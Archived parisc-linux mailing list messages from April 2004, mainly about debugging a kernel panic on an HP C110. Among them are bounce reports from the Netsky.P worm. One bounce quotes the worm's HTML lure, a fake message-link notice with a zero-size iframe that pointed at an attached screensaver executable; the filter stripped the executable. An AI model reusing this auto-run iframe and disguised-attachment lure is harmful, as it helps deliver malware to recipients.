List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 12:01:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21408


>> If the lifimage
>>boots on your system then we localize the problem down to possible tool
>>chain  or .config problem (I used the defconfig).
>
>Right I forgot to test defconfig.

I remember now: I just used to use the defconfig of which I remove all HIL
support (no device available) for this c110 (no specific config file).

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery Subsystem <MAILER-DAEMON@mail.cjd.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Warning: could not send message for past 4 hours
Date: Wed, 14 Apr 2004 15:17:01 +0300
Lines: 80
Approved: news@gmane.org
Message-ID: <200404141217.i3EC3UU1020730@mail.cjd.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="i3EC3UU1020730.1081945021/mail.cjd.ro"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623371 8260 80.91.229.3 (22 Nov 2014 02:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Wed Apr 14 06:17:37 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cjd.ro (unknown [80.96.223.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9527648AE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 06:17:36 -0600 (MDT)
Original-Received: from localhost (localhost)
	by mail.cjd.ro (8.12.8/8.12.8) id i3EC3UU1020730;
	Wed, 14 Apr 2004 15:17:01 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
Auto-Submitted: auto-generated (warning-timeout)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 12:17:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21409

This is a MIME-encapsulated message

--i3EC3UU1020730.1081945021/mail.cjd.ro

    **********************************************
    **      THIS IS A WARNING MESSAGE ONLY      **
    **  YOU DO NOT NEED TO RESEND YOUR MESSAGE  **
    **********************************************

The original message was received at Wed, 14 Apr 2004 10:45:26 +0300
from IDENT:0@localhost [127.0.0.1]

   ----- Transcript of session follows -----
prefdb@prefecturadambovita.ro... Deferred: Connection timed out with mail.prefecturadambovita.ro.
Warning: message still undelivered after 4 hours
Will keep trying until message is 5 days old

--i3EC3UU1020730.1081945021/mail.cjd.ro
Content-Type: message/delivery-status

Reporting-MTA: dns; mail.cjd.ro
Arrival-Date: Wed, 14 Apr 2004 10:45:26 +0300

Final-Recipient: RFC822; pref-db@cjd.ro
X-Actual-Recipient: RFC822; prefdb@prefecturadambovita.ro
Action: delayed
Status: 4.4.1
Remote-MTA: DNS; mail.prefecturadambovita.ro
Last-Attempt-Date: Wed, 14 Apr 2004 15:17:01 +0300
Will-Retry-Until: Mon, 19 Apr 2004 10:45:26 +0300

--i3EC3UU1020730.1081945021/mail.cjd.ro
Content-Type: message/rfc822
Content-Transfer-Encoding: 8bit

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from cjd.ro (IDENT:0@localhost [127.0.0.1])
	by mail.cjd.ro (8.12.8/8.12.8) with ESMTP id i3E7jMTo017518
	for <pref-db@cjd.ro>; Wed, 14 Apr 2004 10:45:26 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
Message-Id: <200404140745.i3E7jMTo017518@mail.cjd.ro>
X-BitDefender-Scanner: Infected (File: (body), Exploit.Iframe.Vulnerability,
	Deleted;
	File: (body), Win32.Netsky.P@mm, Deleted), Agent: SMTP PROXY 1.5.6
	(mail)
X-BitDefender-Spam: No (44)
From: parisc-linux@lists.parisc-linux.org
To: pref-db@cjd.ro
Subject: Mail Delivery (failure pref-db@cjd.ro)
Date: Wed, 14 Apr 2004 11:43:57 +0300
MIME-Version: 1.0
Content-Type: multipart/related; type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ct: [Re: Question]
Object: archive_iivan.doc                                                                   .exe
Virus: Win32.Netsky.P@mm


We strongly advise you to check your computer using BitDefender
antivirus products. You can download a fully functional trial
version of BitDefender from http://www.bitdefender.com


The BitDefender Lab
www.bitdefender.com

From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: System Administrator <postmaster@telindus.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable: Mail Delivery (failure
	joma@telindus.be)
Date: Wed, 14 Apr 2004 15:34:24 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <F3DBA3AA7EFCD41187720008C7094010128F6E96@smtp.haasrode.telindus.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C42225.33B281CC"
X-Trace: ger.gmane.org 1416623371 8264 80.91.229.3 (22 Nov 2014 02:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Wed Apr 14 07:34:41 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bufallo.telindus.be (unknown [194.7.26.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21D974879
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 07:34:41 -0600 (MDT)
Original-Received: by smtp.haasrode.telindus.be with Internet Mail Service (5.5.2657.72)
	id <27ZYCN8H>; Wed, 14 Apr 2004 15:34:28 +0200
X-Mailer: Internet Mail Service (5.5.2657.72)
X-MS-Embedded-Report: 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 13:34:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21410

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C42225.33B281CC
Content-Type: text/plain;
	charset="iso-8859-1"

Your message

  To:      joma@telindus.be
  Subject: Mail Delivery (failure joma@telindus.be)
  Sent:    Wed, 14 Apr 2004 15:28:45 +0200

did not reach the following recipient(s):

JOMA@TELINDUS.BE on Wed, 14 Apr 2004 15:34:21 +0200
    The recipient name is not recognized
	The MTS-ID of the original message is:
c=be;a=rtt;p=telindus;l=BUFALLO040414133427ZYCN77
    MSEXCH:IMS:TELINDUS:HAASRODE:BUFALLO 0 (000C05A6) Unknown Recipient



------_=_NextPart_000_01C42225.33B281CC
Content-Type: message/rfc822

From: parisc-linux@lists.parisc-linux.org
To: joma@telindus.be
Subject: Mail Delivery (failure joma@telindus.be)
Date: Wed, 14 Apr 2004 15:28:45 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
X-MS-Embedded-Report: 
Content-Type: multipart/mixed; boundary="----_=_NextPart_002_01C42225.33B281CC"


------_=_NextPart_002_01C42225.33B281CC
Content-Type: text/plain;
	charset="iso-8859-1"

If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.telindus.be/inbox/joma/read.php?sessionid-28784 
 

------_=_NextPart_002_01C42225.33B281CC
Content-Type: text/plain;
	name="WARNING0.txt"
Content-Disposition: attachment;
	filename="WARNING0.txt"

Network Associates WebShield SMTP V4.5 MR1a on koninck detected virus W32/Netsky.p@MM
in attachment message.scr from <parisc-linux@lists.parisc-linux.org> and it was
Deleted.

------_=_NextPart_002_01C42225.33B281CC--

------_=_NextPart_000_01C42225.33B281CC--


From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@mailgw1.cityu.edu.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delivery Notification: Delivery has failed
Date: Wed, 14 Apr 2004 22:22:28 +0800 (CST)
Lines: 137
Approved: news@gmane.org
Message-ID: <0HW500MIEZXGKR@mailgw1.cityu.edu.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report;
	boundary="Boundary_(ID_ajIOO9MzYMLSRfaE+nFr2w)";
	report-type=delivery-status
X-Trace: ger.gmane.org 1416623372 8271 80.91.229.3 (22 Nov 2014 02:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Wed Apr 14 08:24:11 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgw1.cityu.edu.hk (amy.cityu.edu.hk [144.214.5.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4EF948B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 08:24:10 -0600 (MDT)
Original-Received: from process-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW500D01ZE4FB@mailgw1.cityu.edu.hk> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 14 Apr 2004 22:22:28 +0800 (CST)
Original-Received: from mailgw1.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW500M01ZQ1KR@mailgw1.cityu.edu.hk>;
	Wed, 14 Apr 2004 22:22:28 +0800 (CST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 14:24:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21411


--Boundary_(ID_ajIOO9MzYMLSRfaE+nFr2w)
Content-type: text/plain; charset=us-ascii
Content-language: en-US
Content-transfer-encoding: 7BIT

This report relates to a message you sent with the following header fields:

  Return-path: <parisc-linux@lists.parisc-linux.org>
  Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   id <0HW500M01ZQ1KR@mailgw1.cityu.edu.hk>
   (original mail from parisc-linux@lists.parisc-linux.org); Wed,
   14 Apr 2004 22:22:28 +0800 (CST)
  Received: from plink.cityu.edu.hk
   (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
   by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   with ESMTP id <0HW5006DAZXAG7@mailgw1.cityu.edu.hk> for
   50223584@plink.cityu.edu.hk; Wed, 14 Apr 2004 22:22:27 +0800 (CST)
  Date: Wed, 14 Apr 2004 15:22:44 +0100
  From: parisc-linux@lists.parisc-linux.org
  Subject: Mail Delivery (failure 50223584@plink.cityu.edu.hk)
  To: 50223584@plink.cityu.edu.hk
  Message-id: <0HW5006DDZXBG7@mailgw1.cityu.edu.hk>
  MIME-version: 1.0
  Content-type: multipart/related;
   boundary="Boundary_(ID_DpojgNGuFbSj5KiCe212Gw)"; type="multipart/alternative"
  X-Priority: 3
  X-MSMail-priority: Normal

Your message cannot be delivered to the following recipients:

  Recipient address: 50223584@plink.cityu.edu.hk
  Reason: This email is rejected because an unsafe file is found: message.scr


--Boundary_(ID_ajIOO9MzYMLSRfaE+nFr2w)
Content-type: message/delivery-status

Reporting-MTA: dns;mailgw1.cityu.edu.hk (conversion-daemon)

Original-recipient: rfc822;50223584@plink.cityu.edu.hk
Final-recipient: rfc822;50223584@plink.cityu.edu.hk
Action: failed
Status: 5.6.5
	(This email is rejected because an unsafe file is found: message.scr)

--Boundary_(ID_ajIOO9MzYMLSRfaE+nFr2w)
Content-type: text/plain
Content-transfer-encoding: 7BIT

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 id <0HW500M01ZQ1KR@mailgw1.cityu.edu.hk>
 (original mail from parisc-linux@lists.parisc-linux.org); Wed,
 14 Apr 2004 22:22:28 +0800 (CST)
Received: from plink.cityu.edu.hk
 (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
 by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 with ESMTP id <0HW5006DAZXAG7@mailgw1.cityu.edu.hk> for
 50223584@plink.cityu.edu.hk; Wed, 14 Apr 2004 22:22:27 +0800 (CST)
Date: Wed, 14 Apr 2004 15:22:44 +0100
From: parisc-linux@lists.parisc-linux.org
Subject: Mail Delivery (failure 50223584@plink.cityu.edu.hk)
To: 50223584@plink.cityu.edu.hk
Message-id: <0HW5006DDZXBG7@mailgw1.cityu.edu.hk>
MIME-version: 1.0
Content-type: multipart/related;
 boundary="Boundary_(ID_DpojgNGuFbSj5KiCe212Gw)"; type="multipart/alternative"
X-Priority: 3
X-MSMail-priority: Normal

This is a multi-part message in MIME format.

--Boundary_(ID_DpojgNGuFbSj5KiCe212Gw)
Content-type: multipart/alternative;
 boundary="Boundary_(ID_jTdu1SYa0l+romOM69iDXg)"


--Boundary_(ID_jTdu1SYa0l+romOM69iDXg)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: QUOTED-PRINTABLE


--Boundary_(ID_jTdu1SYa0l+romOM69iDXg)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" http-equiv=3DConten=
t-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatical=
ly,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 w=
idth=3D0>www.plink.cityu.edu.hk/inbox/50223584/read.php?sessionid-130=
11</a>
<iframe
src=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=
=3D0></iframe>
<DIV>&nbsp;</DIV></BODY></HTML>

--Boundary_(ID_jTdu1SYa0l+romOM69iDXg)--

--Boundary_(ID_DpojgNGuFbSj5KiCe212Gw)
Content-id: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re>
Content-type: text/plain; Name=UnsafeFile.txt
Content-transfer-encoding: 7BIT
Content-disposition: inline
Content-description: Unsafe file is rejected: message.scr

********* UNSAFE FILE IS REJECTED! *********

This email is bounced back to the sender because an
unsafe file is found.

* Name of the unsafe file: message.scr

Postmaster (Mail Administrator),
City University of Hong Kong
Email: postmaster@cityu.edu.hk

(Reference number: 20040414_222228_4796)
********************************************

--Boundary_(ID_DpojgNGuFbSj5KiCe212Gw)--

--Boundary_(ID_ajIOO9MzYMLSRfaE+nFr2w)--


From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 08:36:18 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <1081953377.1089.76.camel@laptop.bradetich.net>
References: <40711E550000569F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623372 8274 80.91.229.3 (22 Nov 2014 02:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:32 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <Soete.joel@tiscali.be>
Original-X-From: rbradetich@uswest.net  Wed Apr 14 08:36:30 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5240A48B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 08:36:30 -0600 (MDT)
Original-Received: from [10.0.0.50] (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 679082B10E; Wed, 14 Apr 2004 08:36:29 -0600 (MDT)
In-Reply-To: <40711E550000569F@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 14:36:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21412

> >Would you be interested in trying the lifimage I complied and
> >successfully booted on both the J200 and the C110?
> 
> Just a stupid question: where can I grab this lifimage?

I can make this lifimage available ... I will you a url once I have this
setup.

> > If the lifimage
> >boots on your system then we localize the problem down to possible tool
> >chain or .config problem (I used the defconfig).
> 
> Right I forgot to test defconfig.
> 
> That said, to get you more detail on my pb:
>  - in genral i can reach to boot the system with 2.6.5-paX
>  - the pb occurs when I try high i/o rate on disk (ie  a find, a fsck ,
> a tar or some time a simple cp of the kernel from a fs to another one)
>  - the pb can also occurs at boot time if a fs is not clear (a fsck is
> so requested) or if a raid partition has to be sync (ie once again high i/o
> rate on disks).

Ah .. I was under the impression it was a boot problem.  I will perform
the find, fsck and tar tests tests ... I only have a small disk (~500MB)
in the system so i will probably need to setup some external disks.  I
will try the tests w/o using software raid first, then add in the
software raid as a an additional variable.  This may take me a couple of
days to get this accomplished (busy work schedule :().

Thanks!

- Ryan

> Thanks for your attention,
> 
>    Joel
> 
> 
> PS: This system boot and mainly works always fine with a 2.4 and 2.6.3-rc1-pa3
> (this is mainly this last one I used as reference), so I exclude hw pb ;)
> (execpted that the battery saving system time (and more) has to be replaced)
> 
> hmm, I also read back my first report of a pb on this c110 and noticed that
> everything appears for me when I tried 2.6.4-pa[12]. I so try to grab cvs
> kernel tree dated of the Makefile 2.6.3-rc1-pa3 and a saved tbz of 2.6.4-pa2
> to build a diff. The diff file is of about 14Mb :_(
> 
> Historically there was not a lot of big changes specific to parisc between
> those releases: the main one being the jejb change in ccio-dma (and related).
> I so try to revert it and it seems to works better (with 2 different config
> file)
> until system hang at boot again because it has to re-sync a md (the root)
> device. It seems so that ccio-dma changes was not the cause but much better
> a revelator of a hidden pb (In fact I never reach to work with 2.6 on this
> c110 without replacing cio_mem_ratio = 4 by 2)
> 
> 
> 
> 
> 
> 
> 
> ----------------------------------------------------------------------------------------
> Tiscali ADSL: 35 /mois, la meilleure offre du march!
> http://reg.tiscali.be/default.asp?lg=fr
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: 14 Apr 2004 09:49:58 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1081954200.10872.10.camel@mulgrave>
References: <40711E550000569F@ocpmta2.freegates.net> 
	<1081953377.1089.76.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623372 8277 80.91.229.3 (22 Nov 2014 02:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:32 +0000 (UTC)
Cc: Joel Soete <Soete.joel@tiscali.be>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: James.Bottomley@SteelEye.com  Wed Apr 14 08:50:19 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED8454848
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 08:50:18 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3EEnxa32461; Wed, 14 Apr 2004 10:49:59 -0400
In-Reply-To: <1081953377.1089.76.camel@laptop.bradetich.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 14:50:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21413

On Wed, 2004-04-14 at 09:36, Ryan Bradetich wrote:
> Ah .. I was under the impression it was a boot problem.  I will perform
> the find, fsck and tar tests tests ... I only have a small disk (~500MB)
> in the system so i will probably need to setup some external disks.  I
> will try the tests w/o using software raid first, then add in the
> software raid as a an additional variable.  This may take me a couple of
> days to get this accomplished (busy work schedule :().

It was (hence 'boot panic' in the title):

http://lists.parisc-linux.org/pipermail/parisc-linux/2004-March/022657.html

So, Joel, are you saying you no-longer see this boot panic problem?

James




From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 18:08:52 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <40711E5500005F9A@ocpmta2.freegates.net>
References: <1081953377.1089.76.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623373 8282 80.91.229.3 (22 Nov 2014 02:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: soete.joel@tiscali.be  Wed Apr 14 10:09:00 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F3F94A35
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 10:09:00 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BDmwW-0000AS-00; Wed, 14 Apr 2004 18:08:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 18:08:52 +0200
In-Reply-To: <1081953377.1089.76.camel@laptop.bradetich.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 16:09:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21414

Hello Ryan,

>> > >Would you be interested in trying the lifimage I complied and
>> >successfully booted on both the J200 and the C110?
>> 
>> Just a stupid question: where can I grab this lifimage?
>
>I can make this lifimage available ... I will you a url once I have
> this setup.

Great.

>Ah .. I was under the impression it was a boot problem.  I will perform
>the find, fsck and tar tests tests ... I only have a small disk (~500MB)
>in the system so i will probably need to setup some external disks.  I
>will try the tests w/o using software raid first,

Well I didn't suspect raid support because at my office there a 2 running
raid system happy with 2.6.5 though

> then add in the
>software raid as a an additional variable.

But that is logical ;)

